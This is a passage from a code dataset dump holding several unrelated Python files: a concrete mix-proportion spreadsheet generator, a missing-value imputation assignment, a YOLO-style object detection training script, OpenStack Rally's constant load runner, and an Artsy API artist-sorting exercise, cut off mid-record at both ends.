data=formData)\n\n","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"597763336","text":"import math\nimport random\nimport openpyxl\nimport time\nimport four_homes_and_six_entries as f\n\n# 基础指标\nw_c = float(input('请输入混凝土水灰比:')) # 水灰比\ncement_weight = float(input('请输入混凝土胶凝材料用量:')) # 胶凝材料用量\nsand_percent = float(input('请输入混凝土砂率:')) # 砂率\nadmixture_1 = float(input('请输入混凝土掺加剂1用量:')) # 掺加剂1用量\nadmixture_2 = float(input('请输入混凝土掺加剂2用量:')) # 掺加剂2用量\naddition_1 = float(input('请输入混凝土外加剂1用量:')) # 外加剂1用量\naddition_2 = float(input('请输入混凝土外加剂2用量:')) # 外加剂2用量\nliter = float(input('请输入混凝土试配量:')) # 试配量\n\ntemplate_dir = 'E:/文档/10.数据计算/配合比.xlsx' # 表格模板路径地址\n\nwb = openpyxl.load_workbook(template_dir)\nmy_sheet = wb.get_sheet_by_name('Sheet1')\nliter /= 1000 # 换算\n\nfor i in range(3):\n my_sheet['B' + str(5 + i * 12)] = f.xy(float(w_c) + 0.05 * (i - 1), 0.01)\n my_sheet['B' + str(7 + i * 12)] = f.xy(float(sand_percent) + (i - 1), 1)\n my_sheet['B' + str(8 + i * 12)] = f.xy(float(admixture_1), 0.1)\n my_sheet['B' + str(9 + i * 12)] = f.xy(float(admixture_2), 0.1)\n my_sheet['B' + str(10 + i * 12)] = f.xy(float(addition_1), 0.1)\n my_sheet['B' + str(11 + i * 12)] = f.xy(float(addition_2), 0.1)\nmy_sheet['B18'] = cement_weight\nw_c += random.randint(-5, 5) / 1000\nmass_water = f.xy(cement_weight * w_c, 1)\nfor i in range(3):\n my_sheet['C' + str(2 + i * 12)] = f.xy(mass_water, 1)\n my_sheet['C' + str(3 + i * 12)] = f.xy(mass_water * liter, 0.01)\nmy_sheet['B6'] = f.xy(mass_water / (w_c - 0.05), 1)\nmy_sheet['B30'] = f.xy(mass_water / (w_c + 0.05), 1)\nsand_percent /= 100 # 化为百分数\nfor i in range(3):\n mass_binding = my_sheet['B' + str(6 + i * 12)].value\n # 掺加剂①用量\n mass_admixture_1 = math.floor(mass_binding * my_sheet['B' + str(8 + i * 12)].value / 100)\n my_sheet['G' + str(2 + i * 12)] = f.xy(mass_admixture_1, 1)\n my_sheet['G' + str(3 + i * 12)] = f.xy(mass_admixture_1 * liter, 0.01)\n # 掺加剂②用量\n mass_admixture_2 = math.floor(mass_binding * my_sheet['B' + str(9 + i * 12)].value / 100)\n my_sheet['H' + str(2 + i * 12)] = f.xy(mass_admixture_2, 1)\n my_sheet['H' + str(3 + i * 12)] = f.xy(mass_admixture_2 * liter, 0.01)\n # 外加剂①用量\n mass_addition_1 = f.xy(mass_binding * my_sheet['B' + str(10 + i * 12)].value / 100, 0.1)\n my_sheet['I' + str(2 + i * 12)] = f.xy(mass_addition_1, 0.1)\n my_sheet['I' + str(3 + i * 12)] = f.xy(mass_addition_1 * liter, 0.001)\n # 外加剂②用量\n mass_addition_2 = f.xy(mass_binding * my_sheet['B' + str(11 + i * 12)].value / 100, 0.1)\n my_sheet['J' + str(2 + i * 12)] = f.xy(mass_addition_2, 0.1)\n my_sheet['J' + str(3 + i * 12)] = f.xy(mass_addition_2 * liter, 0.001)\n # 水泥用量\n mass_cement = f.xy(mass_binding - mass_admixture_1 - mass_admixture_2, 1)\n my_sheet['D' + str(2 + i * 12)] = f.xy(mass_cement, 1)\n my_sheet['D' + str(3 + i * 12)] = f.xy(mass_cement * liter, 0.01)\n # 砂用量\n sand_percent_live = my_sheet['B' + str(7 + i * 12)].value / 100\n mass_bone = f.xy((2400 - mass_binding - mass_water - mass_addition_2), 1)\n mass_sand = mass_bone * sand_percent_live\n my_sheet['E' + str(2 + i * 12)] = f.xy(mass_sand, 1)\n my_sheet['E' + str(3 + i * 12)] = f.xy(mass_sand * liter, 0.01)\n # 石用量\n mass_stone = f.xy(mass_bone - mass_sand, 1)\n my_sheet['F' + str(2 + i * 12)] = f.xy(mass_stone, 1)\n my_sheet['F' + str(3 + i * 12)] = f.xy(mass_stone * liter, 0.01)\n\n ratio = [mass_water, mass_cement, mass_sand, mass_stone, mass_admixture_1, mass_admixture_2, mass_addition_1,\n mass_addition_2]\n\n for j in range(6):\n my_sheet[chr(ord('C') + j) + str(4 + i * 12)] = f.xy(ratio[j] / ratio[1], 0.01)\n for j in range(6, 8):\n my_sheet[chr(ord('C') + j) + str(4 + i * 12)] = f.xy(ratio[j] / ratio[1], 0.001)\n\nwb.save(template_dir[0:-5] + time.strftime('%Y-%m-%d %H%M%S', time.localtime()) + '.xlsx')\n","sub_path":"a.py","file_name":"a.py","file_ext":"py","file_size_in_byte":4121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"291787280","text":"import pandas as pd\n\n# Float try/cast\ndef cast_float(value):\n try:\n return float(value)\n except ValueError:\n return None\n\n# Compute Euclidean distance between two vectors (v1,v2) according to a list of features\ndef distance(v1, v2, features):\n m = len(features)\n square_sum = 0\n for f in features:\n square_sum += (float(v1[f]) - float(v2[f]))**2\n \n return (square_sum**(.5)) / m\n\n# Get available features from series as hashable tuple\ndef get_available_features(row, cols):\n available = []\n for col in cols:\n if row[col] != '?':\n available.append(col)\n return set(available)\n\n# Get missing features from a set of available features\ndef get_missing_features(available_features, cols):\n return set(cols).difference(available_features)\n\n# Checks that no non-empty values were overwritten or during imputation\n# Also checks that all empty values were imputed\ndef sanity_check(df, raw):\n error = False\n for ix, row in raw.iterrows():\n for col in list(raw):\n if df.iloc[ix][col] != raw.iloc[ix][col] and raw.iloc[ix][col] != '?':\n print('ERROR: Non-empty value replaced', ix, col)\n error = True\n if raw.iloc[ix][col] == '?' and df.iloc[ix][col] == '?':\n print('ERROR: Value not imputed', ix, col)\n error = True\n if error:\n print('Sanity check FAILED')\n\n# Calculate MAE for an imputed dataframe\ndef mean_absolute_error(missing, imputed, complete, cols):\n N = 0\n sigma = 0\n for ix, row in missing.iterrows():\n for col in cols:\n if missing.iloc[ix][col] == '?':\n sigma += abs(float(imputed.iloc[ix][col]) - float(complete.iloc[ix][col]))\n N += 1\n mae = round((sigma / N), 4)\n return mae\n\n# Algorithm 1. Mean Imputation\ndef impute_mean(df, cols):\n means = {}\n for col in cols:\n # Calculate mean dictionary\n avg = df[col].apply(cast_float).mean()\n means[col] = round(avg, 5)\n \n # Impute mean column values\n for ix, value in df[col].items():\n if value == '?':\n df[col][ix] = means[col]\n\n# Algorithm 2. Conditional Mean Imputation\ndef impute_conditional_mean(df, cols):\n means = {}\n classes = df.Class.unique()\n\n # Calculate mean dictionary for each class/col pair\n for clazz in classes:\n df_class = df[df.Class == clazz]\n for col in cols: \n avg = df_class[col].apply(cast_float).mean()\n means[col] = round(avg, 5) \n\n # Impute mean column values\n for ix, value in df_class[col].items():\n if value == '?':\n df[col][ix] = means[col]\n\n# Algorithm 3/4. Hot Deck Imputation (both conditional and UNconditional)\ndef impute_hot_deck(df, cols):\n # Create a list of Record objects from dataframe\n records = []\n df_c = df.copy()\n\n for row in df.iterrows():\n records.append(Record(row, cols))\n\n # Iterate records to impute\n for target in records:\n # Skip rows with no missing features, nothing to impute\n if len(target.missing_features) == 0:\n continue\n\n # Dictionary for target row where keys are missing features and values are distance to from which that value was imputed\n imputed_distances = dict.fromkeys(target.missing_features, 999)\n imputed_distances_c = dict.fromkeys(target.missing_features, 999)\n\n # Iterate source records for potential imputation values\n for source in records:\n # Check if source has imputable features\n imputable_features = target.missing_features.intersection(source.available_features)\n if len(imputable_features) == 0:\n continue\n\n # Check if source has common features\n common_features = target.available_features.intersection(source.available_features)\n if len(common_features) == 0:\n continue\n\n # Compute Euclidean distance\n dist = distance(target.row, source.row, common_features)\n\n # Impute values from source row into df if dist is shorter than prior imputed values\n for f in target.missing_features:\n value = source.row[f]\n if value != '?':\n # Impute UNconditional hot deck\n if dist < imputed_distances[f]:\n df.iloc[target.ix][f] = round(float(value), 5)\n imputed_distances[f] = dist\n\n # Impute CONDITONAL hot deck\n if target.clazz == source.clazz and dist < imputed_distances_c[f]:\n df_c.iloc[target.ix][f] = round(float(value), 5)\n imputed_distances_c[f] = dist\n\n return df, df_c\n\ndef impute(raw, complete, missing_percent):\n vnum = \"V00792132\"\n cols = [col for col in list(raw) if col != 'Class']\n\n # Impute Mean\n df = raw.copy()\n impute_mean(df, cols)\n sanity_check(df, raw)\n mae = mean_absolute_error(raw, df, complete, cols)\n print(\"MAE_{}_mean = {}\".format(missing_percent, mae))\n df.to_csv(\"{}_missing{}_imputed_mean.csv\".format(vnum, missing_percent))\n\n # Impute Conditional Mean\n df = raw.copy()\n impute_conditional_mean(df, cols)\n sanity_check(df, raw)\n mae = mean_absolute_error(raw, df, complete, cols)\n print(\"MAE_{}_mean_conditional = {}\".format(missing_percent, mae))\n df.to_csv(\"{}_missing{}_imputed_mean_conditional.csv\".format(vnum, missing_percent))\n\n # Impute Hot Deck (both conditional and UNconditional)\n df = raw.copy()\n df, df_c = impute_hot_deck(df, cols)\n sanity_check(df, raw)\n sanity_check(df_c, raw)\n\n # Hot Deck results\n mae = mean_absolute_error(raw, df, complete, cols)\n print(\"MAE_{}_hd = {}\".format(missing_percent, mae))\n df.to_csv(\"{}_missing{}_imputed_hd.csv\".format(vnum, missing_percent))\n\n # Conditional Hot Deck results\n mae = mean_absolute_error(raw, df_c, complete, cols)\n print(\"MAE_{}_hd_conditional = {}\".format(missing_percent, mae))\n df_c.to_csv(\"{}_missing{}_imputed_hd_conditional.csv\".format(vnum, missing_percent))\n\nclass Record:\n def __init__(self, row, cols):\n self.ix = row[0]\n self.row = row[1]\n self.clazz = row[1].Class\n self.available_features = get_available_features(row[1], cols)\n self.missing_features = get_missing_features(self.available_features, cols) \n\nif __name__ == \"__main__\":\n complete = pd.read_csv(\"dataset_complete.csv\")\n\n # Impute missing20 dataset\n raw = pd.read_csv(\"dataset_missing05.csv\")\n impute(raw, complete, \"05\")\n\n # Impute missing20 dataset\n raw = pd.read_csv(\"dataset_missing20.csv\")\n impute(raw, complete, \"20\")","sub_path":"Assignment2/a2.py","file_name":"a2.py","file_ext":"py","file_size_in_byte":6787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"114007949","text":"import argparse\nimport torch\nimport utils\nimport plot\nfrom pathlib import Path\nfrom typing import Dict\nfrom dataloader import HW6Dataset\nfrom network import HW6Net\nfrom torch.utils.data import DataLoader\nfrom torchinfo import summary\nfrom tqdm import tqdm\n\nIMAGE_SIZE = HW6Dataset.IMAGE_SIZE\nLABEL = HW6Dataset.LABELS\nANCHOR_AR = [1/5, 1/3, 1/1, 3/1, 5/1] # Aspect ratios for anchor boxes\n'''\n--------------------------------------------------------------------------------\nTraining / testing loop\n'''\ndef calculate_loss(pred_tensor: torch.Tensor, gt_tensor: torch.Tensor,\n losses: Dict[str, float]):\n '''\n Calculate loss for current batch. Calculate three types losses.\n Only consider the YOLO vectors that thier ground truth have objects\n losses -> dictionary of losses to keep track of each type of losses.\n '''\n # Define loss for backprop for this batch\n loss = torch.tensor(0.0, requires_grad=True).to(device)\n gt_tensor = gt_tensor.view(-1, 8) # View as a tensor of YOLO vector\n pred_tensor = pred_tensor.view(gt_tensor.shape)\n # Only keep the YOLO vectors that ground truth objectness is 1\n indices = gt_tensor[:, 0].nonzero(as_tuple=True)[0]\n pred_tensor = pred_tensor[indices]\n gt_tensor = gt_tensor[indices]\n # Object detection loss (the first element)\n detection_loss = criterion1(\n torch.nn.Sigmoid()(pred_tensor[:, 0]), # Apply sigmoid\n gt_tensor[:, 0]\n )\n loss += detection_loss\n losses['detection'] += detection_loss.item()\n # Object localization loss [dx dy bh bw] (next 4 elements)\n # Apply sigmoid to center coordinates\n pred_tensor[:, 1:3] = torch.nn.Sigmoid()(pred_tensor[:, 1:3])\n localization_loss = criterion2(\n pred_tensor[:, 1:5],\n gt_tensor[:, 1:5]\n )\n loss += localization_loss\n losses['localization'] += localization_loss.item()\n # Object classification loss\n classification_loss = criterion3(\n pred_tensor[:, 5:],\n gt_tensor[:, 5:]\n )\n loss += classification_loss\n losses['classification'] += classification_loss.item()\n \n return loss, losses\n\ndef train(dataloader: DataLoader, model: torch.nn.Module, \n optimizer: torch.optim.Optimizer):\n '''\n This is a traning loop. It will return a training loss at the end.\n '''\n model.train() # Set to training mode \n # Define loss for debug and tracking progress\n losses = {\n 'detection': 0.0,\n 'localization': 0.0,\n 'classification': 0.0\n }\n for batch, data in enumerate(dataloader):\n images = data['image'].to(device)\n gt_yolo_tensors = data['yolo'].to(device)\n # Get a prediction and reshape to match with ground truth\n prediction = model(images).view(gt_yolo_tensors.shape) \n loss, losses = calculate_loss(prediction, gt_yolo_tensors, losses)\n # Update parameters\n optimizer.zero_grad() \n loss.backward()\n optimizer.step() \n if (batch+1) % 100 == 0: # Tracking learning progress\n utils.print_losses(losses, batch+1)\n # Average loss over all batches\n for loss_type in losses.keys():\n losses[loss_type] /= len(dataloader)\n\n return losses # Return for ploting \n\ndef test(dataloader: DataLoader, model: torch.nn.Module):\n '''\n This is eval/testing mode. It will return testing losses and predictions.\n '''\n model.eval() # Enter evaluation mode\n # Define loss for debug and tracking progress\n losses = {\n 'detection': 0.0,\n 'localization': 0.0,\n 'classification': 0.0\n }\n with torch.no_grad():\n for data in dataloader:\n images = data['image'].to(device)\n gt_yolo_tensors = data['yolo'].to(device)\n # Get a prediction and reshape to match with ground truth\n prediction = model(images).view(gt_yolo_tensors.shape) \n _, losses = calculate_loss(prediction, gt_yolo_tensors, losses)\n utils.print_losses(losses, len(dataloader)) # Print loss of all test data\n # Average loss over batches\n for loss_type in losses.keys():\n losses[loss_type] /= len(dataloader)\n \n return losses\n'''\n--------------------------------------------------------------------------------\n'''\n# Choose numbers of iteration when execution\nparser = argparse.ArgumentParser(description='ECE60146 HW6.')\nparser.add_argument(\n '--epoch', '-n', type=int, default=10,\n help='number of training iterations'\n)\nparser.add_argument(\n '--cell', '-c', type=int, default=5,\n help='number YOLO cell'\n)\n\nparser.add_argument(\n '--pretrain', '-p', action='store_true',\n help='use previous train weight'\n)\n\nargs = vars(parser.parse_args())\n\npath = Path('/home/tam/git/ece60146/data') # Define dataset location.\n# Use cuda 1 because other people in my lab usually use cuda 0\nif torch.cuda.is_available():\n device = \"cuda:1\"\n num_workers = 8\n batch_size = 16\nelse:\n device = 'cpu'\n num_workers = 2\n batch_size = 4 \n# Checking message\nprint(f\"Using {device} device with {num_workers} workers\")\nepochs = args['epoch']\nn_cell = args['cell']\n# Load training dataset\ntrain_dataset = HW6Dataset(path, 'training', n_cell, ANCHOR_AR)\ntrain_dataloader = DataLoader(\n train_dataset, \n batch_size=batch_size,\n shuffle=True,\n num_workers=num_workers\n) \n# Load evalution dataset\ntest_dataset = HW6Dataset(path, 'testing', n_cell, ANCHOR_AR)\ntest_dataloader = DataLoader(\n test_dataset, \n batch_size=batch_size, \n shuffle=False, # No need to shuffle. Able to reuse ground truth list\n num_workers=num_workers\n)\nif not args['pretrain']:\n # Printout the model summary. Final check before starting training\n model = HW6Net(n_cell, len(ANCHOR_AR)).to(device)\n num_layers = len(list(model.parameters()))\n print(f\"The number of layers in the model: {num_layers}\")\n with open(f'model-summary.txt', 'w') as fp:\n print(\n str(summary(model, input_size=(batch_size, 3, 256, 256))), file=fp)\n print(f\"The number of layers in the model: {num_layers}\", file=fp)\n # Start training\n optimizer = torch.optim.Adam(model.parameters(), lr=1e-4, betas=(0.9, 0.99))\n criterion1 = torch.nn.BCELoss() # For the first element \n criterion2 = torch.nn.MSELoss() # For next 4 elements [dx dy bh bw]\n criterion3 = torch.nn.CrossEntropyLoss() # For classicifation\n records = [] # Keep training/testing result\n print(f'Starting training .....')\n for epoch in range(epochs): \n print(f'Epoch {epoch+1}')\n print('---------------------------training----------------------------')\n utils.print_losses_header()\n train_losses = train(train_dataloader, model, optimizer)\n print('---------------------------testing-----------------------------')\n utils.print_losses_header()\n test_losses = test(test_dataloader, model)\n records.append({\n 'epoch': epoch+1,\n 'train': train_losses,\n 'test': test_losses\n }) \n torch.save(model.state_dict(), 'model-new.pth')\n plot.plot_losses(records)\nelse: # Use previous train weight\n print('Use previous model for evaluation...')\n model = HW6Net(n_cell, len(ANCHOR_AR)).to(device)\n model.load_state_dict(torch.load('model.pth'))\n\n# Evaluation performance\nprint(f'Starting evaluation...')\nmodel.eval()\nresult_path = Path('/home/tam/git/ece60146/data/hw6_dataset/result')\nfor index in tqdm(range(len(test_dataset))):\n sample = test_dataset[index]\n predictions = plot.get_prediction_from_model(\n sample, model, device, n_cell, ANCHOR_AR\n )\n gt_meta = test_dataset.get_ground_truth(index)\n filename = gt_meta['filename']\n ground_truth = []\n for box, label in zip(gt_meta['bboxes'], gt_meta['labels']):\n ground_truth.append({\n 'bbox': box,\n 'label': label\n })\n savename = result_path / f'{filename.stem}.png'\n plot.draw_boxes(str(filename), savename, ground_truth, predictions, LABEL)","sub_path":"ECE60146/hw6/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"371984150","text":"# Copyright 2014: Mirantis Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport collections\nimport multiprocessing\nimport threading\nimport time\n\nfrom six.moves import queue as Queue\n\nfrom rally.common import utils\nfrom rally.common import validation\nfrom rally import consts\nfrom rally.task import runner\nfrom rally.task import utils as butils\n\n\ndef _worker_process(queue, iteration_gen, timeout, concurrency, times,\n context, cls, method_name, args, event_queue, aborted,\n info):\n \"\"\"Start the scenario within threads.\n\n Spawn threads to support scenario execution for a fixed number of times.\n This generates a constant load on the cloud under test by executing each\n scenario iteration without pausing between iterations. Each thread runs\n the scenario method once with passed scenario arguments and context.\n After execution the result is appended to the queue.\n\n :param queue: queue object to append results\n :param iteration_gen: next iteration number generator\n :param timeout: operation's timeout\n :param concurrency: number of concurrently running scenario iterations\n :param times: total number of scenario iterations to be run\n :param context: scenario context object\n :param cls: scenario class\n :param method_name: scenario method name\n :param args: scenario args\n :param event_queue: queue object to append events\n :param aborted: multiprocessing.Event that aborts load generation if\n the flag is set\n :param info: info about all processes count and counter of launched process\n \"\"\"\n\n pool = collections.deque()\n alive_threads_in_pool = 0\n finished_threads_in_pool = 0\n\n runner._log_worker_info(times=times, concurrency=concurrency,\n timeout=timeout, cls=cls, method_name=method_name,\n args=args)\n\n if timeout:\n timeout_queue = Queue.Queue()\n collector_thr_by_timeout = threading.Thread(\n target=utils.timeout_thread,\n args=(timeout_queue, )\n )\n collector_thr_by_timeout.start()\n\n iteration = next(iteration_gen)\n while iteration < times and not aborted.is_set():\n scenario_context = runner._get_scenario_context(iteration, context)\n worker_args = (\n queue, cls, method_name, scenario_context, args, event_queue)\n\n thread = threading.Thread(target=runner._worker_thread,\n args=worker_args)\n\n thread.start()\n if timeout:\n timeout_queue.put((thread, time.time() + timeout))\n pool.append(thread)\n alive_threads_in_pool += 1\n\n while alive_threads_in_pool == concurrency:\n prev_finished_threads_in_pool = finished_threads_in_pool\n finished_threads_in_pool = 0\n for t in pool:\n if not t.isAlive():\n finished_threads_in_pool += 1\n\n alive_threads_in_pool -= finished_threads_in_pool\n alive_threads_in_pool += prev_finished_threads_in_pool\n\n if alive_threads_in_pool < concurrency:\n # NOTE(boris-42): cleanup pool array. This is required because\n # in other case array length will be equal to times which\n # is unlimited big\n while pool and not pool[0].isAlive():\n pool.popleft().join()\n finished_threads_in_pool -= 1\n break\n\n # we should wait to not create big noise with these checks\n time.sleep(0.001)\n iteration = next(iteration_gen)\n\n # Wait until all threads are done\n while pool:\n pool.popleft().join()\n\n if timeout:\n timeout_queue.put((None, None,))\n collector_thr_by_timeout.join()\n\n\n@validation.configure(\"check_constant\")\nclass CheckConstantValidator(validation.Validator):\n \"\"\"Additional schema validation for constant runner\"\"\"\n\n def validate(self, credentials, config, plugin_cls, plugin_cfg):\n if plugin_cfg.get(\"concurrency\", 1) > plugin_cfg.get(\"times\", 1):\n return self.fail(\n \"Parameter 'concurrency' means a number of parallel executions\"\n \"of iterations. Parameter 'times' means total number of \"\n \"iteration executions. It is redundant (and restricted) to \"\n \"have number of parallel iterations bigger then total number \"\n \"of iterations.\")\n\n\n@validation.add(\"check_constant\")\n@runner.configure(name=\"constant\")\nclass ConstantScenarioRunner(runner.ScenarioRunner):\n \"\"\"Creates constant load executing a scenario a specified number of times.\n\n This runner will place a constant load on the cloud under test by\n executing each scenario iteration without pausing between iterations\n up to the number of times specified in the scenario config.\n\n The concurrency parameter of the scenario config controls the\n number of concurrent iterations which execute during a single\n scenario in order to simulate the activities of multiple users\n placing load on the cloud under test.\n \"\"\"\n\n CONFIG_SCHEMA = {\n \"type\": \"object\",\n \"$schema\": consts.JSON_SCHEMA,\n \"properties\": {\n \"type\": {\n \"type\": \"string\",\n \"description\": \"Type of Runner.\"\n },\n \"concurrency\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"description\": \"The number of parallel iteration executions.\"\n },\n \"times\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"description\": \"Total number of iteration executions.\"\n },\n \"timeout\": {\n \"type\": \"number\",\n \"description\": \"Operation's timeout.\"\n },\n \"max_cpu_count\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"description\": \"The maximum number of processes to create load\"\n \" from.\"\n }\n },\n \"required\": [\"type\"],\n \"additionalProperties\": False\n }\n\n def _run_scenario(self, cls, method_name, context, args):\n \"\"\"Runs the specified benchmark scenario with given arguments.\n\n This method generates a constant load on the cloud under test by\n executing each scenario iteration using a pool of processes without\n pausing between iterations up to the number of times specified\n in the scenario config.\n\n :param cls: The Scenario class where the scenario is implemented\n :param method_name: Name of the method that implements the scenario\n :param context: Benchmark context that contains users, admin & other\n information, that was created before benchmark started.\n :param args: Arguments to call the scenario method with\n\n :returns: List of results fore each single scenario iteration,\n where each result is a dictionary\n \"\"\"\n timeout = self.config.get(\"timeout\", 0) # 0 means no timeout\n times = self.config.get(\"times\", 1)\n concurrency = self.config.get(\"concurrency\", 1)\n iteration_gen = utils.RAMInt()\n\n cpu_count = multiprocessing.cpu_count()\n max_cpu_used = min(cpu_count,\n self.config.get(\"max_cpu_count\", cpu_count))\n\n processes_to_start = min(max_cpu_used, times, concurrency)\n concurrency_per_worker, concurrency_overhead = divmod(\n concurrency, processes_to_start)\n\n self._log_debug_info(times=times, concurrency=concurrency,\n timeout=timeout, max_cpu_used=max_cpu_used,\n processes_to_start=processes_to_start,\n concurrency_per_worker=concurrency_per_worker,\n concurrency_overhead=concurrency_overhead)\n\n result_queue = multiprocessing.Queue()\n event_queue = multiprocessing.Queue()\n\n def worker_args_gen(concurrency_overhead):\n while True:\n yield (result_queue, iteration_gen, timeout,\n concurrency_per_worker + (concurrency_overhead and 1),\n times, context, cls, method_name, args, event_queue,\n self.aborted)\n if concurrency_overhead:\n concurrency_overhead -= 1\n\n process_pool = self._create_process_pool(\n processes_to_start, _worker_process,\n worker_args_gen(concurrency_overhead))\n self._join_processes(process_pool, result_queue, event_queue)\n\n\ndef _run_scenario_once_with_unpack_args(args):\n # NOTE(andreykurilin): `pool.imap` is used in\n # ConstantForDurationScenarioRunner. It does not want to work with\n # instance-methods, class-methods and static-methods. Also, it can't\n # transmit positional or keyword arguments to destination function.\n # While original `rally.task.runner._run_scenario_once` accepts\n # multiple arguments instead of one big tuple with all arguments, we\n # need to hardcode unpacking here(all other runners are able to\n # transmit arguments in proper way).\n return runner._run_scenario_once(*args)\n\n\n@runner.configure(name=\"constant_for_duration\")\nclass ConstantForDurationScenarioRunner(runner.ScenarioRunner):\n \"\"\"Creates constant load executing a scenario for an interval of time.\n\n This runner will place a constant load on the cloud under test by\n executing each scenario iteration without pausing between iterations\n until a specified interval of time has elapsed.\n\n The concurrency parameter of the scenario config controls the\n number of concurrent iterations which execute during a single\n sceanario in order to simulate the activities of multiple users\n placing load on the cloud under test.\n \"\"\"\n\n CONFIG_SCHEMA = {\n \"type\": \"object\",\n \"$schema\": consts.JSON_SCHEMA,\n \"properties\": {\n \"type\": {\n \"type\": \"string\",\n \"description\": \"Type of Runner.\"\n },\n \"concurrency\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"description\": \"The number of parallel iteration executions.\"\n },\n \"duration\": {\n \"type\": \"number\",\n \"minimum\": 0.0,\n \"description\": \"The number of seconds during which to generate\"\n \" a load.\"\n },\n \"timeout\": {\n \"type\": \"number\",\n \"minimum\": 1,\n \"description\": \"Operation's timeout.\"\n }\n },\n \"required\": [\"type\", \"duration\"],\n \"additionalProperties\": False\n }\n\n @staticmethod\n def _iter_scenario_args(cls, method, ctx, args, event_queue, aborted):\n def _scenario_args(i):\n if aborted.is_set():\n raise StopIteration()\n return (cls, method, runner._get_scenario_context(i, ctx), args,\n event_queue)\n return _scenario_args\n\n def _run_scenario(self, cls, method, context, args):\n \"\"\"Runs the specified benchmark scenario with given arguments.\n\n :param cls: The Scenario class where the scenario is implemented\n :param method: Name of the method that implements the scenario\n :param context: Benchmark context that contains users, admin & other\n information, that was created before benchmark started.\n :param args: Arguments to call the scenario method with\n\n :returns: List of results fore each single scenario iteration,\n where each result is a dictionary\n \"\"\"\n timeout = self.config.get(\"timeout\", 600)\n concurrency = self.config.get(\"concurrency\", 1)\n duration = self.config.get(\"duration\")\n\n # FIXME(andreykurilin): unify `_worker_process`, use it here and remove\n # usage of `multiprocessing.Pool`(usage of separate process for\n # each concurrent iteration is redundant).\n pool = multiprocessing.Pool(concurrency)\n manager = multiprocessing.Manager()\n event_queue = manager.Queue()\n stop_event_listener = threading.Event()\n\n def event_listener():\n while not stop_event_listener.isSet():\n while not event_queue.empty():\n self.send_event(**event_queue.get())\n else:\n time.sleep(0.01)\n\n event_listener_thread = threading.Thread(target=event_listener)\n event_listener_thread.start()\n\n run_args = butils.infinite_run_args_generator(\n self._iter_scenario_args(\n cls, method, context, args, event_queue, self.aborted))\n iter_result = pool.imap(_run_scenario_once_with_unpack_args, run_args)\n\n start = time.time()\n while True:\n try:\n result = iter_result.next(timeout)\n except multiprocessing.TimeoutError as e:\n result = runner.format_result_on_timeout(e, timeout)\n except StopIteration:\n break\n\n self._send_result(result)\n\n if time.time() - start > duration:\n break\n\n stop_event_listener.set()\n event_listener_thread.join()\n pool.terminate()\n pool.join()\n self._flush_results()\n","sub_path":"rally/plugins/common/runners/constant.py","file_name":"constant.py","file_ext":"py","file_size_in_byte":14107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"73878307","text":"# В этой задаче вам необходимо воспользоваться API сайта artsy.net\n#\n# API проекта Artsy предоставляет информацию о некоторых деятелях искусства, их работах, выставках.\n#\n# В рамках данной задачи вам понадобятся сведения о деятелях искусства (назовем их, условно, художники).\n#\n# Вам даны идентификаторы художников в базе Artsy.\n# Для каждого идентификатора получите информацию о имени художника и годе рождения.\n# Выведите имена художников в порядке неубывания года рождения. В случае если у художников одинаковый год рождения,\n# выведите их имена в лексикографическом порядке.\n#\n# Примечание:\n# В качестве имени художника используется параметр sortable_name в кодировке UTF-8.\n#\n# Пример входных данных:\n# 4d8b92b34eb68a1b2c0003f4\n# 537def3c139b21353f0006a6\n# 4e2ed576477cc70001006f99\n#\n# Пример выходных данных:\n# Abbott Mary\n# Warhol Andy\n# Abbas Hamra\n\n\nimport requests\nimport json\n\nclient_id = \"123\" # вряд ли я буду когда-либо коллекционировать живопись,\nclient_secret = \"123\" # но основы компьютерной безопасности требуют, чтобы я не разглашал подобную информацию =)\n\nreq = requests.post(\"https://api.artsy.net/api/tokens/xapp_token\", # получаем токен для аутентификации\n data={\n \"client_id\": client_id,\n \"client_secret\": client_secret\n })\ntoken = json.loads(req.text)[\"token\"]\nheaders = {\"X-Xapp-Token\" : token}\nresult = [[\"STOP\", 3000]] # массив ответов с \"бампером\"\nwith open(\"artists.txt\") as artistsfile: # считываем айди художника и делаем запрос\n for artist in artistsfile:\n req = requests.get(\"https://api.artsy.net/api/artists/\"+artist.rstrip(), headers=headers)\n req.encoding = 'utf-8'\n j = json.loads(req.text)\n year = int(j[\"birthday\"])\n name = j[\"sortable_name\"]\n for index in range(len(result)): # находим позицию для вставки [\"имя\", год рождения]\n if year < result[index][1]:\n result.insert(index, [name, year])\n break\n elif year == result[index][1]:\n if name < result[index][0]:\n result.insert(index, [name, year])\n break\nresult.pop() # убираем \"бампер\"\nwith open(\"3.6.2.result\", \"w\") as resultfile: # записываем ответ\n for artist in result:\n resultfile.write(artist[0]+\"\\n\")\nprint(\"Done\")\n\n","sub_path":"Python/3. Применениe Python. Анализ текста/3.6 API/3.6.2.py","file_name":"3.6.2.py","file_ext":"py","file_size_in_byte":3216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"552329628","text":"from django.core.validators import MaxValueValidator, MinValueValidator\nfrom django.db import models\n\nfrom titles.models import Title\nfrom users.models import User\n\n\nclass Review(models.Model):\n text = models.TextField(verbose_name='Отзыв')\n author = models.ForeignKey(\n User,\n verbose_name='Автор',\n on_delete=models.CASCADE,\n 